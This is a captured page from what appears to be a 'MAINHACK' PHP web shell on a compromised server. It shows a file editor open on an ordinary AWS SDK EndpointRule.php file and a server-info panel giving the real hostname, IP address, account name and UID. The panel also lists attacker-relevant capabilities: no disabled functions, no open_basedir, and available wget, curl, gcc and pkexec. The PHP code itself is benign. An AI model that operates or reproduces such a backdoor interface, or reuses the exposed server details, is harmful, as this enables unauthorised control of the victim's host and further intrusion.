[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: EndpointRule.php
<?php namespace Aws\EndpointV2\Rule; use Aws\EndpointV2\Ruleset\RulesetStandardLibrary; use Aws\EndpointV2\Ruleset\RulesetEndpoint; class EndpointRule extends AbstractRule { /** @var array */ private $endpoint; public function __construct(array $definition) { parent::__construct($definition); $this->endpoint = $definition['endpoint']; } /** * @return array */ public function getEndpoint() { return $this->endpoint; } /** * If all the rule's conditions are met, return the resolved * endpoint object. * * @return RulesetEndpoint | null */ public function evaluate(array $inputParameters, RulesetStandardLibrary $standardLibrary) { if ($this->evaluateConditions($inputParameters, $standardLibrary)) { return $this->resolve($inputParameters, $standardLibrary); } return false; } /** * Given input parameters, resolve an endpoint in its entirety. * * @return RulesetEndpoint */ private function resolve( array $inputParameters, RulesetStandardLibrary $standardLibrary ) { $uri = $standardLibrary->resolveValue($this->endpoint['url'], $inputParameters); $properties = isset($this->endpoint['properties']) ? $this->resolveProperties($this->endpoint['properties'], $inputParameters, $standardLibrary) : null; $headers = $this->resolveHeaders($inputParameters, $standardLibrary); return new RulesetEndpoint($uri, $properties, $headers); } /** * Recurse through an endpoint's `properties` attribute, resolving template * strings when found. Return the fully resolved attribute. * * @return array */ private function resolveProperties( $properties, array $inputParameters, RulesetStandardLibrary $standardLibrary ) { if (is_array($properties)) { $propertiesArr = []; foreach($properties as $key => $val) { $propertiesArr[$key] = $this->resolveProperties($val, $inputParameters, $standardLibrary); } return $propertiesArr; } elseif ($standardLibrary->isTemplate($properties)) { return $standardLibrary->resolveTemplateString($properties, $inputParameters); } return $properties; } /** * If present, iterate through an endpoint's headers attribute resolving * values along the way. Return the fully resolved attribute. * * @return array */ private function resolveHeaders( array $inputParameters, RulesetStandardLibrary $standardLibrary ) { $headers = isset($this->endpoint['headers']) ? $this->endpoint['headers'] : null; if (is_null($headers)) { return null; } $resolvedHeaders = []; foreach($headers as $headerName => $headerValues) { $resolvedValues = []; foreach($headerValues as $value) { $resolvedValue = $standardLibrary->resolveValue($value, $inputParameters, $standardLibrary); $resolvedValues[] = $resolvedValue; } $resolvedHeaders[$headerName] = $resolvedValues; } return $resolvedHeaders; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002